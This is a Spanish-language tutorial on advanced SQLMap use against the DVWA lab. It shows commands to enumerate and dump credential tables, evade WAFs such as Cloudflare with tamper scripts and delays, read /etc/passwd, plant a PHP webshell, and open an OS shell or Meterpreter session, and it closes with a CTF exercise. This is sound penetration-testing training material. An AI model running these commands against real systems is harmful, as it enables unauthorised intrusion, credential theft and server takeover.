← Volver al inicio
SQLMap SQL Injection DVWA BurpSuite WAF Bypass OS-Shell
Avanzado

SQLMap: Explotación Avanzada de SQL Injection

08/02/2022

SQLMap es la herramienta de código abierto más potente y completa para la detección y explotación automatizada de vulnerabilidades de inyección SQL (SQLi). Soporta 6 tipos diferentes de inyección: Boolean-based blind, Time-based blind, Error-based, UNION query-based, Stacked queries y Out-of-band.

1. El Método Profesional: Archivos de Petición (-r)

Aunque puedes pasar la URL (-u) y las cookies (--cookie) manualmente, es tedioso y propenso a errores. El estándar en auditorías es interceptar la petición con BurpSuite, guardarla en un archivo .txt y pasársela a SQLMap. Esto inyecta todos los encabezados, cookies y datos POST automáticamente.

# 1. En BurpSuite, intercepta la petición vulnerable.
# 2. Clic derecho -> "Copy to file" (guárdalo como request.txt).
# 3. Lanza SQLMap indicando el archivo:
sqlmap -r request.txt --dbs

2. Extracción de Información (Enumeración)

Una vez confirmada la inyección, el objetivo es mapear la estructura de la base de datos para encontrar la información valiosa.

# Enumerar todas las bases de datos disponibles:
sqlmap -r request.txt --dbs

# Obtener usuario actual, base de datos actual y privilegios:
sqlmap -r request.txt --current-user --current-db --is-dba

# Enumerar las tablas de una base de datos específica (-D):
sqlmap -r request.txt -D dvwa --tables

# Enumerar las columnas de una tabla específica (-T):
sqlmap -r request.txt -D dvwa -T users --columns

# Volcar (Dump) todo el contenido de la tabla:
sqlmap -r request.txt -D dvwa -T users --dump

# Volcar solo columnas específicas (-C):
sqlmap -r request.txt -D dvwa -T users -C user,password --dump

3. Evasión de WAF/IPS y Sigilo

Los firewalls de aplicaciones web (WAF) como Cloudflare o ModSecurity bloquearán los payloads por defecto de SQLMap. Necesitamos afinar el escáner para ser indetectables.

# Añadir retraso entre peticiones (en segundos) para no disparar alertas de Rate Limiting:
sqlmap -r request.txt --delay=2

# Usar un User-Agent de un navegador real (por defecto SQLMap usa el suyo propio y es bloqueado):
sqlmap -r request.txt --random-agent

# Forzar el uso de scripts Tamper para ofuscar los payloads.
# space2comment.py cambia los espacios en blanco por comentarios (/**/) para evadir filtros simples:
sqlmap -r request.txt --tamper=space2comment

# Aumentar la agresividad del escaneo (Level 1-5, Risk 1-3).
# Level 3+ inyecta en cabeceras HTTP (User-Agent, Referer). Risk 3 usa sentencias pesadas como OR/AND.
sqlmap -r request.txt --level=3 --risk=2

🔴 Simulador WAF Bypass

Has interceptado una petición hacia un panel de administrador y la has guardado como request.txt. Hay un WAF configurado que bloquea inyecciones con espacios en blanco. Construye el comando de sqlmap que utilice el archivo de petición, vuelque (dump) la tabla admin_creds de la base de datos corp_db, y utilice el script tamper space2comment para evadir el firewall.

>_ INICIAR RETO CTF 22

4. Toma de Control del Servidor (OS Takeover)

Si el usuario de la base de datos es root o DBA (Database Administrator) y el servidor tiene una misconfiguración de lectura/escritura de archivos (como FILE priv en MySQL o xp_cmdshell en MSSQL), SQLMap puede saltar de la base de datos al sistema operativo subyacente.

# Leer un archivo del servidor víctima:
sqlmap -r request.txt --file-read="/etc/passwd"

# Subir un archivo al servidor (Ej: Una webshell PHP):
sqlmap -r request.txt --file-write="webshell.php" --file-dest="/var/www/html/webshell.php"

# ¡El Santo Grial! Abrir una consola interactiva en el servidor (RCE):
sqlmap -r request.txt --os-shell

# Lanzar Meterpreter a través de la inyección SQL (Para conectar con Metasploit):
sqlmap -r request.txt --os-pwn

5. Shell SQL Interactiva

Si no puedes conseguir una shell del sistema operativo, al menos puedes conseguir una consola SQL interactiva directa para teclear comandos nativos (útil cuando SQLMap falla al extraer un volcado limpio).

sqlmap -r request.txt --sql-shell
# sql-shell> SELECT @@version;
# sql-shell> SHOW GRANTS;